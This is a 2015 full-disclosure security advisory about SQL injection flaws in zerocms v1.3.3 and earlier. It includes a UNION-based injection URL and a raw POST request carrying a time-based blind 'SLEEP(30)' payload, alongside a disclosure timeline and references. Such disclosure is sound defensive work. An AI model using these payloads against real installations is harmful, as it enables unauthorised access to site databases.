Advisory: SQL injection vulnerabilities in zerocms <= v.1.3.3 Advisory ID: SROEADV-2015-13 Author: Steffen Rsemann Affected Software: zerocms <= v.1.3.3 (released 23rd-Jan-2015) Vendor URL: http://aas9.in/zerocms/ Vendor Status: platform will be moving to Rails4 CVE-ID: - ========================== Vulnerability Description: ========================== Content management system Zerocms v. 1.3.3 suffers from SQL injection vulnerabilities. ================== Technical Details: ================== The article_id-parameter used in zero_view_article.php is vulnerable to SQL injection. It is located here in a common Zerocms-installation and can be exploited even by unregistered users: http://{TARGET}/views/zero_view_article.php?article_id=1 Exploit-Example: http:// {TARGET}/views/zero_view_article.php?article_id=-1+union+select+database%28%29,2,version%28%29,user%28%29,5,6+--+ A Blind SQL injection vulnerability can be found the file zero_user_transact.php. The parameter user_id is vulnerable to SQL injection. See the following example POST-request which serves as exploit-example: POST /views/zero_transact_user.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://{TARGET}/views/zero_user_account.php?user_id=2 Cookie: PHPSESSID=rirftt07h0dem8d48lujliuve6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 91 name=user&email=user%40user.de&access_level=1&user_id=2 AND SLEEP(30)&action=Modify+Account The Blind SQL injection vulnerability can be exploited on the administrative backend of Zerocms. The vulnerabilities described above have been tested on the following versions of Zerocms: - v. 1.3.2 - v. 1.3.3 ========= Solution: ========= Vendor seems not to provide a patch for this vulnerabilities as version 1.3.3 is the last release for this PHP-based platform. It will be developed on the Rails4-platform in future releases (see Github repository, release section). ==================== Disclosure Timeline: ==================== 23-Jan-2015 &#8211; found the vulnerabilities in v.1.3.2 23-Jan-2015 - informed the developers (see [3]) 23-Jan-2015 &#8211; release date of this security advisory [without technical details] 23-Jan-2015 - forked the vulnerable version to keep it available for other researchers (see [4]) 23-Jan-2015 - developer released v.1.3.3 of zerocms 24-Jan-2015 - vulnerabilities can also be found in v.1.3.3 29-Jan-2015 - as vendor will move the platform to Rails4, it seems that there will be no patch provided (see [5]) 29-Jan-2015 - release date of this security advisory 29-Jan-2015 - send to FullDisclosure ======== Credits: ======== Vulnerability found and advisory written by Steffen Rsemann. =========== References: =========== [1] http://aas9.in/zerocms/ [2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-13.html [3] https://github.com/perezkarjee/zerocms/issues/3 [4] https://github.com/sroesemann/zerocms [5] https://twitter.com/sroesemann/status/559273548691546113